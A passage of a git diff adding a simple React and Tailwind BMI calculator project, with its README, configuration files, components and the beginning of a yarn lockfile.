+ + + + + \ No newline at end of file diff --git a/JS/BMI Calculator/.gitignore b/JS/BMI Calculator/.gitignore new file mode 100644 index 000000000..4d29575de --- /dev/null +++ b/JS/BMI Calculator/.gitignore @@ -0,0 +1,23 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.js + +# testing +/coverage + +# production +/build + +# misc +.DS_Store +.env.local +.env.development.local +.env.test.local +.env.production.local + +npm-debug.log* +yarn-debug.log* +yarn-error.log* diff --git a/JS/BMI Calculator/README.md b/JS/BMI Calculator/README.md new file mode 100644 index 000000000..a8043e346 --- /dev/null +++ b/JS/BMI Calculator/README.md @@ -0,0 +1,27 @@ +# BMI Calculator + +A simple BMI Calculator built using React and Tailwindcss. + +![](https://github.com/shvam0000/Bundli-Frontend/blob/5-BMI-Calculator-in-JS/BMI%20Calculator/assets/BMI%20Cal.png) + +## How to get started + +Clone the repository to your local machine + +`git clone ` + +Move to the folder + +`cd Bundli-Frontend/"BMI Calculator"` + +Install all the dependencies using yarn + +`yarn` or `yarn install` + +Run the development environment + +`yarn start` + +Go to http://localhost:3000/ to view the app + + diff --git a/JS/BMI Calculator/assets/BMI Cal.png b/JS/BMI Calculator/assets/BMI Cal.png new file mode 100644 index 000000000..4f8fc125b Binary files /dev/null and b/JS/BMI Calculator/assets/BMI Cal.png differ diff --git a/JS/BMI Calculator/craco.config.js b/JS/BMI Calculator/craco.config.js new file mode 100644 index 000000000..4acfdf816 --- /dev/null +++ b/JS/BMI Calculator/craco.config.js @@ -0,0 +1,10 @@ +module.exports = { + style: { + postcss: { + plugins: [ + require('tailwindcss'), + require('autoprefixer'), + ], + }, + }, + } \ No newline at end of file diff --git a/JS/BMI Calculator/package.json b/JS/BMI Calculator/package.json new file mode 100644 index 000000000..e4055c06c --- /dev/null +++ b/JS/BMI Calculator/package.json @@ -0,0 +1,44 @@ +{ + "name": "bmi-calculator", + "version": "0.1.0", + "private": true, + "dependencies": { + "@craco/craco": "^6.1.2", + "@testing-library/jest-dom": "^5.11.4", + "@testing-library/react": "^11.1.0", + "@testing-library/user-event": "^12.1.10", + "react": "^17.0.2", + "react-dom": "^17.0.2", + "react-scripts": "4.0.3", + "web-vitals": "^1.0.1" + }, + "scripts": { + "start": "craco start", + "build": "craco build", + "test": "craco test", + "eject": "react-scripts eject" + }, + "eslintConfig": { + "extends": [ + "react-app", + "react-app/jest" + ] + }, + "browserslist": { + "production": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "development": [ + "last 1 chrome version", + "last 1 firefox version", + "last 1 safari version" + ] + }, + "devDependencies": { + "autoprefixer": "^9", + "postcss": "^7", + "tailwindcss": "npm:@tailwindcss/postcss7-compat" + } +} diff --git a/JS/BMI Calculator/public/favicon.ico b/JS/BMI Calculator/public/favicon.ico new file mode 100644 index 000000000..a11777cc4 Binary files /dev/null and b/JS/BMI Calculator/public/favicon.ico differ diff --git a/JS/BMI Calculator/public/index.html b/JS/BMI Calculator/public/index.html new file mode 100644 index 000000000..aa069f27c --- /dev/null +++ b/JS/BMI Calculator/public/index.html @@ -0,0 +1,43 @@ + + + + + + + + + + + + + React App + + + +
+ + + diff --git a/JS/BMI Calculator/public/logo192.png b/JS/BMI Calculator/public/logo192.png new file mode 100644 index 000000000..fc44b0a37 Binary files /dev/null and b/JS/BMI Calculator/public/logo192.png differ diff --git a/JS/BMI Calculator/public/logo512.png b/JS/BMI Calculator/public/logo512.png new file mode 100644 index 000000000..a4e47a654 Binary files /dev/null and b/JS/BMI Calculator/public/logo512.png differ diff --git a/JS/BMI Calculator/public/manifest.json b/JS/BMI Calculator/public/manifest.json new file mode 100644 index 000000000..080d6c77a --- /dev/null +++ b/JS/BMI Calculator/public/manifest.json @@ -0,0 +1,25 @@ +{ + "short_name": "React App", + "name": "Create React App Sample", + "icons": [ + { + "src": "favicon.ico", + "sizes": "64x64 32x32 24x24 16x16", + "type": "image/x-icon" + }, + { + "src": "logo192.png", + "type": "image/png", + "sizes": "192x192" + }, + { + "src": "logo512.png", + "type": "image/png", + "sizes": "512x512" + } + ], + "start_url": ".", + "display": "standalone", + "theme_color": "#000000", + "background_color": "#ffffff" +} diff --git a/JS/BMI Calculator/public/robots.txt b/JS/BMI Calculator/public/robots.txt new file mode 100644 index 000000000..e9e57dc4d --- /dev/null +++ b/JS/BMI Calculator/public/robots.txt @@ -0,0 +1,3 @@ +# https://www.robotstxt.org/robotstxt.html +User-agent: * +Disallow: diff --git a/JS/BMI Calculator/src/App.js b/JS/BMI Calculator/src/App.js new file mode 100644 index 000000000..6e1a07e1c --- /dev/null +++ b/JS/BMI Calculator/src/App.js @@ -0,0 +1,14 @@ +import React from 'react'; +import Bmicalc from './Components/Bmicalc'; + + +function App() { + return ( +
+

BMI Calculator

+ +
+ ); +} + +export default App; diff --git a/JS/BMI Calculator/src/Components/Bmicalc.js b/JS/BMI Calculator/src/Components/Bmicalc.js new file mode 100644 index 000000000..903a5aade --- /dev/null +++ b/JS/BMI Calculator/src/Components/Bmicalc.js @@ -0,0 +1,79 @@ +import React, { useState } from 'react'; + +const Bmicalc = () => { + + const [weightInput, setWeightInput] = useState(); + const [heightInput, setHeightInput] = useState(); + const [bmi, setBmi] = useState(0); + const [status, setStatus] = useState(); + + const weightChangeHandler = (event) => { + setWeightInput(event.target.value); + }; + + const heightChangeHandler = (event) => { + setHeightInput(event.target.value); + }; + + const calculate = (e) => { + e.preventDefault(); + const isValid = + +heightInput > 0 && + +weightInput > 0 && + +heightInput < 500 && + +weightInput < 250; + + if (isValid) { + let heightInMeter = +heightInput / 100; + const bmi = +weightInput / (+heightInMeter) ** 2; + setBmi(bmi.toFixed(2)); + if (bmi > 0 && bmi < 18.5) { + setStatus('Under Weight'); + } else if (bmi >= 18.5 && bmi < 24.9) { + setStatus('Normal' || 'Healthy Weight'); + } else if (bmi >= 24.9 && bmi < 29.9) { + setStatus('Overweight'); + } else { + setStatus('Obese'); + } + } else { + setStatus('NaN'); + setBmi('NaN'); + } + }; + + return ( + <> +
+

Weight

+ +

Height

+ + +
+
+

Your BMI is {bmi}

+

This is considered {status}

+
+ + ); +}; + +export default Bmicalc; diff --git a/JS/BMI Calculator/src/index.css b/JS/BMI Calculator/src/index.css new file mode 100644 index 000000000..bd6213e1d --- /dev/null +++ b/JS/BMI Calculator/src/index.css @@ -0,0 +1,3 @@ +@tailwind base; +@tailwind components; +@tailwind utilities; \ No newline at end of file diff --git a/JS/BMI Calculator/src/index.js b/JS/BMI Calculator/src/index.js new file mode 100644 index 000000000..6832e7832 --- /dev/null +++ b/JS/BMI Calculator/src/index.js @@ -0,0 +1,11 @@ +import React from 'react'; +import ReactDOM from 'react-dom'; +import './index.css'; +import App from './App'; + +ReactDOM.render( + + + , + document.getElementById('root') +); diff --git a/JS/BMI Calculator/tailwind.config.js b/JS/BMI Calculator/tailwind.config.js new file mode 100644 index 000000000..86baef6a7 --- /dev/null +++ b/JS/BMI Calculator/tailwind.config.js @@ -0,0 +1,11 @@ +module.exports = { + purge: ['./src/**/*.{js,jsx,ts,tsx}', './public/index.html'], + darkMode: false, + theme: { + extend: {}, + }, + variants: { + extend: {}, + }, + plugins: [], + } \ No newline at end of file diff --git a/JS/BMI Calculator/yarn.lock b/JS/BMI Calculator/yarn.lock new file mode 100644 index 000000000..0758e9a0e --- /dev/null +++ b/JS/BMI Calculator/yarn.lock @@ -0,0 +1,11704 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +"@babel/code-frame@7.10.4": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.10.4.tgz#168da1a36e90da68ae8d49c0f1b48c7c6249213a" + integrity sha512-vG6SvB6oYEhvgisZNFRmRCUkLz11c7rp+tbNTynGqc6mS1d5ATd/sGyV6W0KZZnXRKMTzZDRgQT3Ou9jhpAfUg== + dependencies: + "@babel/highlight" "^7.10.4" + +"@babel/code-frame@7.12.11": + version "7.12.11" + resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.11.tgz#f4ad435aa263db935b8f10f2c552d23fb716a63f" + integrity sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw== + dependencies: + "@babel/highlight" "^7.10.4" + +"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.5.5": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.13.tgz#dcfc826beef65e75c50e21d3837d7d95798dd658" + integrity sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g== + dependencies: + "@babel/highlight" "^7.12.13" + +"@babel/compat-data@^7.12.1", "@babel/compat-data@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.12.13.tgz#27e19e0ed3726ccf54067ced4109501765e7e2e8" + integrity sha512-U/hshG5R+SIoW7HVWIdmy1cB7s3ki+r3FpyEZiCgpi4tFgPnX/vynY80ZGSASOIrUM6O7VxOgCZgdt7h97bUGg== + +"@babel/core@7.12.3": + version "7.12.3" + resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.12.3.tgz#1b436884e1e3bff6fb1328dc02b208759de92ad8" + integrity sha512-0qXcZYKZp3/6N2jKYVxZv0aNCsxTSVCiK72DTiTYZAu7sjg73W0/aynWjMbiGd87EQL4WyA8reiJVh92AVla9g== + dependencies: + "@babel/code-frame" "^7.10.4" + "@babel/generator" "^7.12.1" + "@babel/helper-module-transforms" "^7.12.1" + "@babel/helpers" "^7.12.1" + "@babel/parser" "^7.12.3" + "@babel/template" "^7.10.4" + "@babel/traverse" "^7.12.1" + "@babel/types" "^7.12.1" + convert-source-map "^1.7.0" + debug "^4.1.0" + gensync "^1.0.0-beta.1" + json5 "^2.1.2" + lodash "^4.17.19" + resolve "^1.3.2" + semver "^5.4.1" + source-map "^0.5.0" + +"@babel/core@^7.1.0", "@babel/core@^7.12.3", "@babel/core@^7.7.5", "@babel/core@^7.8.4": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.12.17.tgz#993c5e893333107a2815d8e0d73a2c3755e280b2" + integrity sha512-V3CuX1aBywbJvV2yzJScRxeiiw0v2KZZYYE3giywxzFJL13RiyPjaaDwhDnxmgFTTS7FgvM2ijr4QmKNIu0AtQ== + dependencies: + "@babel/code-frame" "^7.12.13" + "@babel/generator" "^7.12.17" + "@babel/helper-module-transforms" "^7.12.17" + "@babel/helpers" "^7.12.17" + "@babel/parser" "^7.12.17" + "@babel/template" "^7.12.13" + "@babel/traverse" "^7.12.17" + "@babel/types" "^7.12.17" + convert-source-map "^1.7.0" + debug "^4.1.0" + gensync "^1.0.0-beta.1" + json5 "^2.1.2" + lodash "^4.17.19" + semver "^5.4.1" + source-map "^0.5.0" + +"@babel/generator@^7.12.1", "@babel/generator@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.12.17.tgz#9ef1dd792d778b32284411df63f4f668a9957287" + integrity sha512-DSA7ruZrY4WI8VxuS1jWSRezFnghEoYEFrZcw9BizQRmOZiUsiHl59+qEARGPqPikwA/GPTyRCi7isuCK/oyqg== + dependencies: + "@babel/types" "^7.12.17" + jsesc "^2.5.1" + source-map "^0.5.0" + +"@babel/helper-annotate-as-pure@^7.10.4", "@babel/helper-annotate-as-pure@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.12.13.tgz#0f58e86dfc4bb3b1fcd7db806570e177d439b6ab" + integrity sha512-7YXfX5wQ5aYM/BOlbSccHDbuXXFPxeoUmfWtz8le2yTkTZc+BxsiEnENFoi2SlmA8ewDkG2LgIMIVzzn2h8kfw== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-builder-binary-assignment-operator-visitor@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz#6bc20361c88b0a74d05137a65cac8d3cbf6f61fc" + integrity sha512-CZOv9tGphhDRlVjVkAgm8Nhklm9RzSmWpX2my+t7Ua/KT616pEzXsQCjinzvkRvHWJ9itO4f296efroX23XCMA== + dependencies: + "@babel/helper-explode-assignable-expression" "^7.12.13" + "@babel/types" "^7.12.13" + +"@babel/helper-compilation-targets@^7.12.1", "@babel/helper-compilation-targets@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.12.17.tgz#91d83fae61ef390d39c3f0507cb83979bab837c7" + integrity sha512-5EkibqLVYOuZ89BSg2lv+GG8feywLuvMXNYgf0Im4MssE0mFWPztSpJbildNnUgw0bLI2EsIN4MpSHC2iUJkQA== + dependencies: + "@babel/compat-data" "^7.12.13" + "@babel/helper-validator-option" "^7.12.17" + browserslist "^4.14.5" + semver "^5.5.0" + +"@babel/helper-create-class-features-plugin@^7.12.1", "@babel/helper-create-class-features-plugin@^7.12.13", "@babel/helper-create-class-features-plugin@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.12.17.tgz#704b69c8a78d03fb1c5fcc2e7b593f8a65628944" + integrity sha512-I/nurmTxIxHV0M+rIpfQBF1oN342+yvl2kwZUrQuOClMamHF1w5tknfZubgNOLRoA73SzBFAdFcpb4M9HwOeWQ== + dependencies: + "@babel/helper-function-name" "^7.12.13" + "@babel/helper-member-expression-to-functions" "^7.12.17" + "@babel/helper-optimise-call-expression" "^7.12.13" + "@babel/helper-replace-supers" "^7.12.13" + "@babel/helper-split-export-declaration" "^7.12.13" + +"@babel/helper-create-regexp-features-plugin@^7.12.13": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.12.17.tgz#a2ac87e9e319269ac655b8d4415e94d38d663cb7" + integrity sha512-p2VGmBu9oefLZ2nQpgnEnG0ZlRPvL8gAGvPUMQwUdaE8k49rOMuZpOwdQoy5qJf6K8jL3bcAMhVUlHAjIgJHUg== + dependencies: + "@babel/helper-annotate-as-pure" "^7.12.13" + regexpu-core "^4.7.1" + +"@babel/helper-explode-assignable-expression@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.12.13.tgz#0e46990da9e271502f77507efa4c9918d3d8634a" + integrity sha512-5loeRNvMo9mx1dA/d6yNi+YiKziJZFylZnCo1nmFF4qPU4yJ14abhWESuSMQSlQxWdxdOFzxXjk/PpfudTtYyw== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-function-name@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz#93ad656db3c3c2232559fd7b2c3dbdcbe0eb377a" + integrity sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA== + dependencies: + "@babel/helper-get-function-arity" "^7.12.13" + "@babel/template" "^7.12.13" + "@babel/types" "^7.12.13" + +"@babel/helper-get-function-arity@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz#bc63451d403a3b3082b97e1d8b3fe5bd4091e583" + integrity sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-hoist-variables@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.12.13.tgz#13aba58b7480b502362316ea02f52cca0e9796cd" + integrity sha512-KSC5XSj5HreRhYQtZ3cnSnQwDzgnbdUDEFsxkN0m6Q3WrCRt72xrnZ8+h+pX7YxM7hr87zIO3a/v5p/H3TrnVw== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-member-expression-to-functions@^7.12.13", "@babel/helper-member-expression-to-functions@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.12.17.tgz#f82838eb06e1235307b6d71457b6670ff71ee5ac" + integrity sha512-Bzv4p3ODgS/qpBE0DiJ9qf5WxSmrQ8gVTe8ClMfwwsY2x/rhykxxy3bXzG7AGTnPB2ij37zGJ/Q/6FruxHxsxg== + dependencies: + "@babel/types" "^7.12.17" + +"@babel/helper-module-imports@^7.0.0", "@babel/helper-module-imports@^7.12.1", "@babel/helper-module-imports@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.12.13.tgz#ec67e4404f41750463e455cc3203f6a32e93fcb0" + integrity sha512-NGmfvRp9Rqxy0uHSSVP+SRIW1q31a7Ji10cLBcqSDUngGentY4FRiHOFZFE1CLU5eiL0oE8reH7Tg1y99TDM/g== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-module-transforms@^7.12.1", "@babel/helper-module-transforms@^7.12.13", "@babel/helper-module-transforms@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.12.17.tgz#7c75b987d6dfd5b48e575648f81eaac891539509" + integrity sha512-sFL+p6zOCQMm9vilo06M4VHuTxUAwa6IxgL56Tq1DVtA0ziAGTH1ThmJq7xwPqdQlgAbKX3fb0oZNbtRIyA5KQ== + dependencies: + "@babel/helper-module-imports" "^7.12.13" + "@babel/helper-replace-supers" "^7.12.13" + "@babel/helper-simple-access" "^7.12.13" + "@babel/helper-split-export-declaration" "^7.12.13" + "@babel/helper-validator-identifier" "^7.12.11" + "@babel/template" "^7.12.13" + "@babel/traverse" "^7.12.17" + "@babel/types" "^7.12.17" + lodash "^4.17.19" + +"@babel/helper-optimise-call-expression@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.12.13.tgz#5c02d171b4c8615b1e7163f888c1c81c30a2aaea" + integrity sha512-BdWQhoVJkp6nVjB7nkFWcn43dkprYauqtk++Py2eaf/GRDFm5BxRqEIZCiHlZUGAVmtwKcsVL1dC68WmzeFmiA== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.8.0", "@babel/helper-plugin-utils@^7.8.3": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.12.13.tgz#174254d0f2424d8aefb4dd48057511247b0a9eeb" + integrity sha512-C+10MXCXJLiR6IeG9+Wiejt9jmtFpxUc3MQqCmPY8hfCjyUGl9kT+B2okzEZrtykiwrc4dbCPdDoz0A/HQbDaA== + +"@babel/helper-remap-async-to-generator@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.12.13.tgz#170365f4140e2d20e5c88f8ba23c24468c296878" + integrity sha512-Qa6PU9vNcj1NZacZZI1Mvwt+gXDH6CTfgAkSjeRMLE8HxtDK76+YDId6NQR+z7Rgd5arhD2cIbS74r0SxD6PDA== + dependencies: + "@babel/helper-annotate-as-pure" "^7.12.13" + "@babel/helper-wrap-function" "^7.12.13" + "@babel/types" "^7.12.13" + +"@babel/helper-replace-supers@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.12.13.tgz#00ec4fb6862546bd3d0aff9aac56074277173121" + integrity sha512-pctAOIAMVStI2TMLhozPKbf5yTEXc0OJa0eENheb4w09SrgOWEs+P4nTOZYJQCqs8JlErGLDPDJTiGIp3ygbLg== + dependencies: + "@babel/helper-member-expression-to-functions" "^7.12.13" + "@babel/helper-optimise-call-expression" "^7.12.13" + "@babel/traverse" "^7.12.13" + "@babel/types" "^7.12.13" + +"@babel/helper-simple-access@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.12.13.tgz#8478bcc5cacf6aa1672b251c1d2dde5ccd61a6c4" + integrity sha512-0ski5dyYIHEfwpWGx5GPWhH35j342JaflmCeQmsPWcrOQDtCN6C1zKAVRFVbK53lPW2c9TsuLLSUDf0tIGJ5hA== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-skip-transparent-expression-wrappers@^7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.12.1.tgz#462dc63a7e435ade8468385c63d2b84cce4b3cbf" + integrity sha512-Mf5AUuhG1/OCChOJ/HcADmvcHM42WJockombn8ATJG3OnyiSxBK/Mm5x78BQWvmtXZKHgbjdGL2kin/HOLlZGA== + dependencies: + "@babel/types" "^7.12.1" + +"@babel/helper-split-export-declaration@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz#e9430be00baf3e88b0e13e6f9d4eaf2136372b05" + integrity sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg== + dependencies: + "@babel/types" "^7.12.13" + +"@babel/helper-validator-identifier@^7.12.11": + version "7.12.11" + resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz#c9a1f021917dcb5ccf0d4e453e399022981fc9ed" + integrity sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw== + +"@babel/helper-validator-option@^7.12.1", "@babel/helper-validator-option@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.12.17.tgz#d1fbf012e1a79b7eebbfdc6d270baaf8d9eb9831" + integrity sha512-TopkMDmLzq8ngChwRlyjR6raKD6gMSae4JdYDB8bByKreQgG0RBTuKe9LRxW3wFtUnjxOPRKBDwEH6Mg5KeDfw== + +"@babel/helper-wrap-function@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.12.13.tgz#e3ea8cb3ee0a16911f9c1b50d9e99fe8fe30f9ff" + integrity sha512-t0aZFEmBJ1LojdtJnhOaQEVejnzYhyjWHSsNSNo8vOYRbAJNh6r6GQF7pd36SqG7OKGbn+AewVQ/0IfYfIuGdw== + dependencies: + "@babel/helper-function-name" "^7.12.13" + "@babel/template" "^7.12.13" + "@babel/traverse" "^7.12.13" + "@babel/types" "^7.12.13" + +"@babel/helpers@^7.12.1", "@babel/helpers@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.12.17.tgz#71e03d2981a6b5ee16899964f4101dc8471d60bc" + integrity sha512-tEpjqSBGt/SFEsFikKds1sLNChKKGGR17flIgQKXH4fG6m9gTgl3gnOC1giHNyaBCSKuTfxaSzHi7UnvqiVKxg== + dependencies: + "@babel/template" "^7.12.13" + "@babel/traverse" "^7.12.17" + "@babel/types" "^7.12.17" + +"@babel/highlight@^7.10.4", "@babel/highlight@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.12.13.tgz#8ab538393e00370b26271b01fa08f7f27f2e795c" + integrity sha512-kocDQvIbgMKlWxXe9fof3TQ+gkIPOUSEYhJjqUjvKMez3krV7vbzYCDq39Oj11UAVK7JqPVGQPlgE85dPNlQww== + dependencies: + "@babel/helper-validator-identifier" "^7.12.11" + chalk "^2.0.0" + js-tokens "^4.0.0" + +"@babel/parser@^7.1.0", "@babel/parser@^7.12.13", "@babel/parser@^7.12.17", "@babel/parser@^7.12.3", "@babel/parser@^7.7.0": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.12.17.tgz#bc85d2d47db38094e5bb268fc761716e7d693848" + integrity sha512-r1yKkiUTYMQ8LiEI0UcQx5ETw5dpTLn9wijn9hk6KkTtOK95FndDN10M+8/s6k/Ymlbivw0Av9q4SlgF80PtHg== + +"@babel/plugin-proposal-async-generator-functions@^7.12.1", "@babel/plugin-proposal-async-generator-functions@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.12.13.tgz#d1c6d841802ffb88c64a2413e311f7345b9e66b5" + integrity sha512-1KH46Hx4WqP77f978+5Ye/VUbuwQld2hph70yaw2hXS2v7ER2f3nlpNMu909HO2rbvP0NKLlMVDPh9KXklVMhA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-remap-async-to-generator" "^7.12.13" + "@babel/plugin-syntax-async-generators" "^7.8.0" + +"@babel/plugin-proposal-class-properties@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.12.1.tgz#a082ff541f2a29a4821065b8add9346c0c16e5de" + integrity sha512-cKp3dlQsFsEs5CWKnN7BnSHOd0EOW8EKpEjkoz1pO2E5KzIDNV9Ros1b0CnmbVgAGXJubOYVBOGCT1OmJwOI7w== + dependencies: + "@babel/helper-create-class-features-plugin" "^7.12.1" + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-proposal-class-properties@^7.12.1", "@babel/plugin-proposal-class-properties@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.12.13.tgz#3d2ce350367058033c93c098e348161d6dc0d8c8" + integrity sha512-8SCJ0Ddrpwv4T7Gwb33EmW1V9PY5lggTO+A8WjyIwxrSHDUyBw4MtF96ifn1n8H806YlxbVCoKXbbmzD6RD+cA== + dependencies: + "@babel/helper-create-class-features-plugin" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-proposal-decorators@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.12.1.tgz#59271439fed4145456c41067450543aee332d15f" + integrity sha512-knNIuusychgYN8fGJHONL0RbFxLGawhXOJNLBk75TniTsZZeA+wdkDuv6wp4lGwzQEKjZi6/WYtnb3udNPmQmQ== + dependencies: + "@babel/helper-create-class-features-plugin" "^7.12.1" + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/plugin-syntax-decorators" "^7.12.1" + +"@babel/plugin-proposal-dynamic-import@^7.12.1", "@babel/plugin-proposal-dynamic-import@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.12.17.tgz#e0ebd8db65acc37eac518fa17bead2174e224512" + integrity sha512-ZNGoFZqrnuy9H2izB2jLlnNDAfVPlGl5NhFEiFe4D84ix9GQGygF+CWMGHKuE+bpyS/AOuDQCnkiRNqW2IzS1Q== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-dynamic-import" "^7.8.0" + +"@babel/plugin-proposal-export-namespace-from@^7.12.1", "@babel/plugin-proposal-export-namespace-from@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.12.13.tgz#393be47a4acd03fa2af6e3cde9b06e33de1b446d" + integrity sha512-INAgtFo4OnLN3Y/j0VwAgw3HDXcDtX+C/erMvWzuV9v71r7urb6iyMXu7eM9IgLr1ElLlOkaHjJ0SbCmdOQ3Iw== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-export-namespace-from" "^7.8.3" + +"@babel/plugin-proposal-json-strings@^7.12.1", "@babel/plugin-proposal-json-strings@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.12.13.tgz#ced7888a2db92a3d520a2e35eb421fdb7fcc9b5d" + integrity sha512-v9eEi4GiORDg8x+Dmi5r8ibOe0VXoKDeNPYcTTxdGN4eOWikrJfDJCJrr1l5gKGvsNyGJbrfMftC2dTL6oz7pg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-json-strings" "^7.8.0" + +"@babel/plugin-proposal-logical-assignment-operators@^7.12.1", "@babel/plugin-proposal-logical-assignment-operators@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.12.13.tgz#575b5d9a08d8299eeb4db6430da6e16e5cf14350" + integrity sha512-fqmiD3Lz7jVdK6kabeSr1PZlWSUVqSitmHEe3Z00dtGTKieWnX9beafvavc32kjORa5Bai4QNHgFDwWJP+WtSQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" + 